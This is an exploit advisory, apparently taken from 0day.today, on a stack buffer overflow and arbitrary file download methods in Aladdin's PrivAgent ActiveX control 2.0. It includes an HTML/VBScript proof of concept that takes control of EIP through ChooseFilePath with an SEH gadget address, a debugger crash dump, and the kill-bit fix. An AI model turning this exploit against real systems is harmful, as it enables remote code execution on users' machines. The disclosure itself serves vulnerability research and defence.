Aladdin Knowledge System Ltd PrivAgent ActiveX Control 2.0 Multiple Vulnerabilities

🗓️ 25 Oct 2012 00:00:00Reported by shinnaiType
zdt🔗 0day.today👁 28 Views
Aladdin Knowledge System Ltd PrivAgent ActiveX Control 2.0 Multiple Remote Vulnerabilities. Poorly Coded OCX with Buffer Overflow and File Downloa
=============================================================================================
 FILE INFO:
=============================================================================================
 Aladdin Knowledge System Ltd. PrivAgent ActiveX Control 2.0 Multiple Remote Vulnerabilities
 
 File:                     PrivAgent.ocx
 InternalName:             PrivAgentAx
 OriginalFilename:         PrivAgent.ocx
 FileVersion:              2.0.0.0
 FileDescription:          PrivAgent ActiveX Control
 Product:                  Privilege
 ProductVersion:           02.0
 Debug:                    False
 Patched:                  False
 PreRelease:               False
 PrivateBuild:             True
 SpecialBuild:             False
 Language:                 English (United States)
 MD5 hash:                 c96dfc282b6bdc177abd076a9bb94933
=============================================================================================
 OBJECT SAFETY REPORT:
=============================================================================================
 CLSID:                    {09F68A41-2FBE-11D3-8C9D-0008C7D901B6}
 ProgID:                   PrivAgentAx.PrivAgent.1
 Description:              PrivAgent Class
 RegKey Safe for Script:   True
 RegKey Safe for Init:     True
 Implements IObjectSafety: False
=============================================================================================
 TESTED ON:
=============================================================================================
 Windows XP Professional SP3
 Windows 7 Professional SP3
=============================================================================================
 DOWNLOADABLE FROM:
=============================================================================================
 ftp://ftp.aladdin.com//pub/privilege/activex2002.zip
=============================================================================================
 BUG INFO:
=============================================================================================
 This ocx seems to be really poor coded. I've found so many errors that I felt too choosy
 (yes Mrs. Elsa Fornero, I AM choosy and I AM proud of it) to test any other method.
 Below there's a list of stack-based buffer overflow, insecure file download and a proof
 of concept which exploits a good old fashioned (or trivial, if you like) stack based
 buffer overflow, triggered simply passing to the "ChooseFilePath" method a string longer
 than 268 bytes. In this case, after a memory reading exception, we are in full control of
 EIP.
 Here it is the list of vulnerable methods, guess which ones are vulnerable to arbitrary
 file download? :)
  
 #1
 Function DownloadLicense (
    ByVal sURL  As String ,
    ByVal sPath  As String ,
    ByVal bInstall  As Boolean
 )  As Long
 
 #2
 Function ChooseFilePath (
    ByVal sFileName  As String
 )  As String
 
 #3
 Function InstallLicense (
    ByVal szLicensePath  As String
 )  As Long
 
 #4
 Function InstallPrivilege (
    ByVal szInstFilePath  As String
 )  As Long
 
 #4
 Function DownloadPrivilege (
    ByVal szURL  As String ,
    ByVal szTargetDir  As String ,
    ByVal bInstall  As Boolean
 )  As Long
 
 #4
 Function InstallDevExt (
    ByVal szDevExtPath  As String
 )  As Long
 
 #5
 Function DownloadDevExt (
    ByVal szURL  As String ,
    ByVal szTargetPath  As String ,
    ByVal bInstall  As Boolean
 )  As Long
=============================================================================================
 PROOF OF CONCEPT:
=============================================================================================
 
<html>
 <object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object>
  <script language = 'vbscript'>
   buffer    = String(268, "A")
   getEIP    = unescape("bbbb")
   buffer_2  = "CCCCCCCC"
   exception = unescape("%5A%0B%02%10") '0x10020B5A pop ESI-pop-ret from PrivAgent.ocx
   buffer_3  = unescape("EEEE" + String(2712, "F"))
 
   test.ChooseFilePath buffer + getEIP + buffer_2 + exception + buffer_3
  </script>
</html>
 
=============================================================================================
 CRASH DUMP:
=============================================================================================
 0:005> g
 WARNING: Continuing a non-continuable exception
 (1138.1304): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=00000000 ebx=076886d8 ecx=00385f70 edx=086dc628 esi=0253cfa4 edi=0253cd24
 eip=62626262 esp=0253cce4 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
 62626262 ??              ???
=============================================================================================
 FIX:
=============================================================================================
 Set kill-bit to stop the activeX control
=============================================================================================

#  0day.today [2018-03-20]  #
25 Oct 2012 00:00Current
7High risk
Vulners AI Score7